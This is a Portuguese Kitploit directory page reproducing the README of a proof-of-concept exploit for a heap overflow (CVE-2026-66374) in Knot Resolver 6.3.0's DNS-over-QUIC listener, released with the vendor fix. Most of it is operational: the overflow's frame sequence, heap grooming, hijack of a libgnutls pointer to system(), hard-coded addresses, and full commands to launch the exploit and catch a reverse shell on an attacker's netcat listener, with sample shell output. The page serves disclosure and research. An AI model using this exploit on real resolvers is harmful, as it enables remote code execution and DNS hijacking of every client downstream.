Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
knot-doq — CVE-2026-66374: Knot Resolver 6.3.0 estouro de heap no DNS-over-QUIC (RCE) | Kitploit
Ferramentas/GitHubGitHub/venglin/knot-doq
Análise de VulnerabilidadesExploraçãoSegurança de RedeFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374: Knot Resolver 6.3.0 estouro de heap no DNS-over-QUIC (RCE)

Ver Repositório
6há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Knot Resolver 6.3.0 — Estouro de heap no DNS-over-QUIC → RCE (PoC)

Prova de conceito para um estouro de buffer de heap acionável remotamente no caminho de recepção DNS-over-QUIC (DoQ) do Knot Resolver, que resulta em execução remota de código como o usuário do serviço knot-resolver.

  • Componente: Listener DoQ do kresd (daemon/quic_conn.c)
  • Afetado: Knot Resolver 6.3.0 (validado em 6.3.0-cznic.1~bookworm)
  • Corrigido em: Knot Resolver 6.4.1 (lançado em 2026-07-22)
  • Classe: Gravação fora dos limites do heap (CWE-787)
  • Vetor: Rede, não autenticado — uma única conexão QUIC
  • Impacto: Execução de código como knot-resolver; no mínimo, falha remota / DoS

Publicado juntamente com a correção do fornecedor e o aviso como parte de divulgação coordenada. Apenas para pesquisa de segurança autorizada e validação defensiva.

Demonstração

Exploração remota completa — o exploit é disparado da máquina atacante via DNS-over-QUIC, e um shell reverso knot-resolver é capturado no (clique para o vídeo em resolução total):

Baixar ferramenta
nc

RCE remota via DNS-over-QUIC contra Knot Resolver 6.3.0

O que é o Knot Resolver

Knot Resolver é um resolvedor recursivo de DNS open-source com cache desenvolvido pela CZ.NIC (o registrador .cz). Ele resolve consultas DNS em nome de clientes — dispositivos de usuário final, frotas de resolvedores de ISPs e serviços de resolvedor público — e armazena as respostas em cache. Suporta transportes criptografados modernos, incluindo DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) e DNS-over-QUIC (DoQ), e oferece validação DNSSEC e cache agressivo.

É popular em ambientes de grandes ISPs, onde seu rico conjunto de funcionalidades (política programável, DNSSEC, transportes criptografados, cache refinado) e alto desempenho o tornam adequado para atender bases de assinantes muito grandes.

O daemon (kresd) é um serviço de rede de longa duração que fica diretamente exposto a entradas não confiáveis de qualquer host capaz de alcançar sua porta de escuta. Isso torna um bug de corrupção de memória em seu caminho de recepção de pacotes — como o explorado aqui — uma superfície de ataque remotamente acessível e não autenticada: comprometer o resolvedor permite que um atacante forje respostas DNS para todos os clientes downstream, ou seja, redirecione ou intercepte efetivamente todo o tráfego deles.

Causa raiz

kr_recv_stream_data_cb() remonta quadros STREAM do DoQ em um buffer de entrada por conexão (pers_inbuf). Ela aumenta esse buffer com

root@kitploit:~
pers_inbuf.size += datalen;      /* bug: acumula, nunca redefine a linha de base */

em vez de definir o tamanho para o novo total. Através de vários quadros, o size rastreado se desvia acima da alocação real. Um quadro final cujo datalen cabe sob o size inflado portanto ignora a realocação, mas o memcpy() subsequente é limitado por esse tamanho inflado — então ele escreve além do final do objeto. O jemalloc mantém o objeto fixado em sua classe de tamanho real, então os bytes excedentes caem no slot adjacente da laje.

Resumo da exploração

Uma sequência de seis quadros em um fluxo percorre pers_inbuf através de cinco classes de tamanho do jemalloc para a classe de 6144 bytes e então transborda para o slot vizinho:

root@kitploit:~
F1  datalen=8                    alocação inicial de 1200 bytes
F2  datalen=1440   realloc  ->   classe 1536
F3  datalen=1440   realloc  ->   classe 3072
F4  datalen=1440   realloc  ->   classe 5120
F5  datalen=1440   realloc  ->   classe 6144
F6  datalen=1200, FIN            sem realloc -> gravação OOB de 814 bytes no slot+1

O grooming leve de conexões (abrir várias conexões DoQ, liberar metade pouco antes de disparar) organiza para que slot+1 contenha um manipulador de limpeza do libgnutls. O estouro sobrescreve o ponteiro de despacho desse manipulador, seu argumento e a flag que controla o despacho. Durante o encerramento da conexão, o libgnutls executa

root@kitploit:~
call *0x110(%rbx)     ; %rbx = slot+1 controlado pelo atacante

dando controle do ponteiro de instrução (RIP) e do primeiro argumento (RDI). O PoC roteia isso para system() com um ponteiro para uma string de comando fornecida pelo atacante escrita no mesmo slot.

Escopo: ASLR

Este PoC tem como alvo um host com ASLR desabilitado (kernel.randomize_va_space = 0). Com a randomização desligada, os endereços do heap e da libc são determinísticos, então os dois endereços que o exploit precisa (slot+1 e system()) são constantes para uma determinada compilação. Derrotar o ASLR é um problema separado e está intencionalmente fora do escopo aqui — o objetivo é demonstrar a primitiva corrupção-de-memória → fluxo-de-controle → execução-de-código em isolamento.

Como esses endereços são determinísticos, nenhum vazamento de informação é necessário: o exploit é executado completamente pela rede a partir de um host remoto. Os endereços são recuperados uma vez com a etapa probe (abaixo) em qualquer compilação idêntica e então fixados; na compilação de referência eles são slot+1 = 0x7ffff66c5000 e system = 0x7ffff746a490.

Conteúdo

ArquivoFinalidade
poc.pyO exploit. Modos: probe, rip, exec.
probe.gdbOráculo gdb que lê o pers_inbuf determinístico.
README.mdEste documento.

Requer Python 3 com aioquic e netcat no lado do atacante, e gdb no alvo apenas para a etapa única probe.

Uso — shell reverso remoto (sem vazamento de informação)

Esta é a demonstração principal: o exploit é disparado da máquina atacante, pela rede, com os dois endereços determinísticos fixados. Nada é lido do alvo — sem /proc, sem gdb, sem logs.

root@kitploit:~
# Na máquina atacante: ouça pelo shell
$ nc -lvnp 4444                    # Linux;  no macOS/BSD:  nc -l 4444

# Em outro terminal: dispare o exploit na porta DoQ do alvo
$ python3 poc.py exec \
      --host <alvo> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <ip-atacante> --lport 4444 \
      --rounds 250

Cada rodada que acerta chama system() no alvo com um comando de shell reverso; o shell se conecta de volta a --lhost:--lport, onde nc o recebe. Quando chegar, digite na sessão do netcat para controlar o shell:

root@kitploit:~
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

Os valores --slot1 / --system são recuperados uma vez com a etapa probe em qualquer compilação idêntica; são constantes enquanto o ASLR estiver desligado.

Recuperando os endereços (sonda única)

Os valores --slot1 / --system acima são constantes enquanto o ASLR estiver desligado; recupere-os uma vez em qualquer compilação idêntica. Pré-condição:

root@kitploit:~
$ sudo sysctl -w kernel.randomize_va_space=0
root@kitploit:~
# slot+1 : oráculo gdb lê o pers_inbuf determinístico, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : base da libc (ASLR desligado) + deslocamento system()
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 adicionalmente demonstra controle bruto de RIP/RDI (o alvo trava no ponteiro de instrução escolhido pelo atacante).

Confiabilidade

Medido na compilação de referência (Debian 12, 6.3.0-cznic.1, ASLR desligado):

PrimitivaTaxa
Controle RIP/RDI (rip, falha)~7/8 por rodada
Execução completa system() (exec)~1 em 30–50 rodadas

A lacuna é inerente: system() é executado em um heap que o estouro acabou de corromper, então a maioria dos despachos trava o kresd antes que o filho seja gerado. O daemon é reiniciado pelo seu supervisor após cada falha, o endereço é determinístico com ASLR desligado e cada tentativa é independente — então o loop exec simplesmente tenta novamente até que uma acerte (na execução remota acima, um shell chegou na rodada 5). Uma tentativa fracassada é uma falha transitória do worker (DoS). Os parâmetros de grooming --groom 16 --close 8 --qpc 4 são os padrões empiricamente melhores; fechamento mais pesado (por exemplo, --close 16 com --groom 32) colapsa a taxa de acerto.

Ambiente de referência

root@kitploit:~
OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    Listener DoQ em 127.0.0.1@8853

A geometria das classes de tamanho (seis quadros, payloads de 1200/1440 bytes) e o deslocamento de despacho do libgnutls são específicos desta compilação; outras compilações precisam que os tamanhos de quadro e deslocamentos sejam rederivados.

Linha do tempo da divulgação

DataEvento
2026-06-08Vulnerabilidade reportada ao fornecedor (CZ.NIC).
2026-07-22Correção lançada no Knot Resolver 6.4.1, com aviso do fornecedor.
2026-07-23Este PoC e artigo publicados.

Divulgação e licença

Reportado ao fornecedor em 2026-06-08 e lançado em coordenação com a correção oficial (6.4.1, 2026-07-22). Fornecido para testes autorizados, validação defensiva e pesquisa. Não execute contra sistemas que você não possui ou para os quais não tenha autorização explícita para testar.

SPDX-License-Identifier: MIT